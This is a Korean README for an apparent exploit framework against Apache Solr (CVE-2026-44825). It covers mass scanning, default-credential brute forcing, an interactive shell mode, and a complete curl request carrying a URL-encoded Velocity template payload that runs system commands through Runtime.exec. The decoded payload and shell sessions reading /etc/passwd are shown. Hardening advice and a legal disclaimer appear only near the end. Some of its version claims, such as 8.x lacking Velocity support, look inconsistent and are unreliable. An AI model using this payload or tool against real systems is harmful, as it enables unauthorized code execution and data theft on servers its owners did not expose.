
☄️ Apache Solr CVE-2026-44825를 위한 대규모 정찰 및 익스플로잇 프레임워크 — Velocity 템플릿 인젝션에서 RCE로
CVE-2026-44825는 Apache Solr에서 발생하는 심각도가 높은 취약점으로, 공격자가 Velocity 템플릿 인젝션을 통해 **인증 없이 원격 코드 실행(RCE)**을 달성할 수 있습니다.
Apache Solr의 /select 엔드포인트는 wt=velocity 매개변수를 받아 사용자가 제공한 Velocity 템플릿을 렌더링합니다. Velocity 응답 작성기가 활성화되어 있거나(또는 구성 API를 통해 활성화될 수 있는 경우) 공격자는 java.lang.Runtime.exec()를 호출하는 악성 템플릿을 주입하여 Solr 프로세스의 권한으로 임의 시스템 명령을 실행할 수 있습니다.
| 벡터 | 심각도 | 영향 |
|---|---|---|
| 인증 없는 RCE | 9.8 (심각) | 전체 시스템 손상 |
| 인증된 RCE | 8.8 (높음) |
Apache Solr는 응답 렌더링을 위한 선택적 템플릿 엔진으로 Apache Velocity를 번들로 제공합니다. 취약점은 Solr의 VelocityResponseWriter가 사용자 제어 템플릿 매개변수를 적절한 위생 처리 없이 처리하여 Java 리플렉션 API를 직접 호출할 수 있도록 하는 데 있습니다.
Java 리플렉션 체인:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
참고:
/admin/info/systemJSON 응답을 파싱하여 버전 확인이 자동으로 수행됩니다.
# 저장소 복제
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# 의존성 설치
pip install -r requirements.txt
# 확인
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
표준 라이브러리 +
requests만 사용. 특이한 의존성 없음.
CVE-2026-44825 Apache Solr Scanner
-t, --target 단일 대상 URL 또는 IP[:port]
-f, --file 대상이 포함된 파일 (한 줄에 하나, #은 주석)
--exploit 취약한 자격 증명이 발견되면 자동 익스플로잇
--rce 인증 후 대화형 셸 실행
-u, --user Basic Auth 사용자 이름
-pw, --password Basic Auth 비밀번호
-o, --output JSON 출력 파일 경로 (기본값: solr_results.json)
-w, --workers 동시 스레드 수 (기본값: 30)
-T, --timeout HTTP 요청 시간 초과(초) (기본값: 8)
# 단일 대상
python solr_scanner.py -t 192.168.1.100:8983
# 사용자 지정 경로의 단일 대상
python solr_scanner.py -t http://example.com/solr
# 파일로 대량 스캔
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — 주석과 빈 줄 지원
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR 미지원; 외부 도구로 미리 확장)
# 스캔 + 자격 증명 발견 시 자동 익스플로잇
python solr_scanner.py -f targets.txt --exploit
# 알려진 자격 증명 + 대화형 셸
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# 자동 무차별 대입 + 성공 시 셸
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
대상: 3 | 스레드: 30 | 시간 초과: 8초
스캔 중...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
컬렉션 (인증 없음): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] 취약 +인증 http://solr-target.internal/solr
완료. 총:3 | Solr:3 | 취약:1
모든 3개 대상이 탐지됨. 9.4.1 인스턴스는 Basic Auth가 활성화된 취약 상태로 표시됨.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] 취약 +인증 http://solr-target.internal/solr
[!] admin:SolrRocks
컬렉션: ['cms', 'users', 'search', 'analytics']
기본 자격 증명
admin:SolrRocks가 Solr 관리 API에 대한 액세스를 허용함. 4개의 컬렉션이 발견됨.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Solr Java 프로세스의 권한으로 완전한 대화형 셸 액세스.
원시 HTTP 교환을 이해하려는 연구자를 위한 설명:
1단계 — Solr에 연결 가능한지 확인
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
2단계 — 사용 가능한 컬렉션 나열
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
3단계 — Velocity 템플릿 인젝션을 통해 명령 실행
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
디코딩된 Velocity 템플릿 페이로드:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
응답:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ 정찰 단계 │ 익스플로잇 단계 │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ 탐지 │──┼──▶ 무차별 │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ 대입 │ │ 템플릿 인젝션 │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ 버전 │ │ │ 기본 │ │ Runtime.exec() │ │
│ │ 확인 │ │ │ 자격 증명│ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ 인증 │ │ │ 대화형 셸 (--rce) │ │
│ │ 프로브 │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
대상 URL
│
▼
┌─────────────┐
│ 정규화 │ → http:// + /solr가 없으면 추가
└──────┬──────┘
│
▼
┌─────────────┐ 아니오
│ GET /admin/ ├──────── 대상 건너뛰기
│ info/system │
└──────┬──────┘
│ 예 (200/401)
▼
┌─────────────┐
│ JSON 파싱 │ → solr-spec-version 추출
│ 핑거프린트 │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x 또는 10.0.0 ?
└──────┬──────┘
│
├── 취약하지 않음 → 보고, 계속 진행
│
▼ 취약
┌─────────────┐
│ 인증 확인 │ → /admin/cores?action=STATUS
│ (3단계) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── 인증 없음 → 인증 없이 목록 시도
│
▼ 인증 감지
┌─────────────┐
│ 무차별 대입 │ → 4명의 사용자 × 8개의 비밀번호 = 32회 시도
│ 자격 증명 │
└──────┬──────┘
│
├── 일치 없음 → 취약 보고 (자격 증명 없음)
│
▼ 자격 증명 발견
┌─────────────┐
│ 컬렉션/ │ → /admin/collections 또는 /admin/cores
│ 코어 나열 │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Velocity 템플릿 → Runtime.exec()
└─────────────┘
bool(Response[401]) == False가 중요한 이유개발 중 발견된 미묘한 Python 함정:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← 4xx/5xx 응답이 False로 평가됨!
즉, 모든 if response and ... 검사는 오류 응답을 조용히 건너뜁니다. 특히 401을 처리하려는 경우에도 마찬가지입니다. 수정 방법은 항상 if response is not None and ...을 사용하는 것입니다:
# ❌ 잘못됨 — 401 응답이 조용히 건너뛰어짐
if r and r.status_code == 401:
auth = True
# ✅ 올바름 — None을 명시적으로 확인
if r is not None and r.status_code == 401:
auth = True
스캐너는 3계층 탐지 전략을 사용하여 거짓 음성을 최소화합니다:
'solr' in response.text.lower()
JSON 키("solr_home", "solr-spec-version", "mode":"solrcloud"), HTML 대시보드 및 오류 페이지에서 Solr를 대소문자 구분 없이 포착합니다.
'solr' in response.headers.get('Server', '').lower()
일부 배포는 HTTP Server 헤더에 "Solr"을 포함합니다.
# 1단계: /admin/info/system 응답 코드 확인
# 2단계: 401에 대해 /admin/cores?action=STATUS 프로브
# 3단계: 401에 대해 /admin/collections?action=LIST 프로브
/admin/info/system은 공개되어 있지만 관리 작업에는 인증이 필요한 배포를 포착합니다.
견고성을 위한 두 가지 정규식 패턴:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Apache Solr를 실행 중이라면 즉시 다음 강화 조치를 적용하십시오:
# 패치된 버전으로 업그레이드
# Solr 9.x → 9.10.2 이상
# Solr 10.x → 10.0.1 이상
<!-- solrconfig.xml에서 — 제거 또는 주석 처리: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# 네트워크 수준에서 Solr 관리 엔드포인트에 대한 액세스 제한
# 신뢰할 수 있는 IP 범위만 포트 8983/7574에 액세스 허용
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# 자체 인프라에 대해 이 스캐너 사용
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 교육 및 승인된 테스트 목적으로만 사용하십시오.
이 소프트웨어는 오직 교육 목적 및 합법적인 보안 연구를 위해 제공됩니다. 다음 대상이 사용하도록 의도되었습니다:
- 🛡️ 보안 전문가가 승인된 침투 테스트를 수행하는 경우
- 🏢 조직이 자체 Apache Solr 인프라를 감사하는 경우
- 🔬 연구자가 취약점 악용 기술을 연구하는 경우
- 🎓 학생이 웹 애플리케이션 보안에 대해 배우는 경우
❌ 이 소프트웨어를 다음 용도로 사용할 수 없습니다:
- 명시적인 서면 승인 없이 컴퓨터 시스템에 액세스
- 소유하지 않은 시스템을 손상, 손상시키거나 방해
- 모든 종류의 불법 활동에 참여
⚖️ 법적 고지
컴퓨터 시스템에 대한 무단 액세스는 다음 법률을 포함하되 이에 국한되지 않는 법률을 위반합니다:
- 미국: 컴퓨터 사기 및 남용 법률 (18 U.S.C. § 1030)
- 인도네시아: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 유럽 연합: Directive 2013/40/EU
- 영국: Computer Misuse Act 1990
저자는 이 도구의 사용으로 인한 모든 오용, 손해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 귀하의 행동에 대한 전적인 책임이 있으며 모든 관련 법률을 준수하는 데 동의합니다.
⚡ 보안 연구 커뮤니티를 위해 정밀하게 구축됨 ⚡
Apache® 및 Apache Solr®는 Apache Software Foundation의 등록 상표입니다.
이 프로젝트는 Apache Software Foundation과 제휴하거나 보증하지 않습니다.
| 인증 후 코드 실행 |
| 정보 노출 | 5.3 (중간) | 코어/컬렉션 열거 |
| Apache Solr 버전 | 상태 | 비고 |
|---|
| 9.4.0 – 9.10.1 | 🔴 취약 | 실제 환경에서 활발히 악용됨 |
| 10.0.0 | 🔴 취약 | 영향을 받는 초기 10.x 릴리스 |
| 10.0.1+ | 🟢 패치됨 | 패치 백포트됨 |
| 9.10.2+ | 🟢 패치됨 | 패치 릴리스 사용 가능 |
| ≤ 9.3.x | 🟢 영향 없음 | Velocity 응답 작성기 없음 |
| 8.x (전체) | 🟢 영향 없음 | Velocity 지원 없음 |
🔍 정찰
|
💀 익스플로잇
|
| 리소스 | 링크 |
|---|
| NVD 항목 | CVE-2026-44825 |
| Apache Solr 보안 | solr.apache.org/security |
| Solr Velocity 문서 | Velocity Response Writer |
| OWASP 템플릿 인젝션 | Server-Side Template Injection |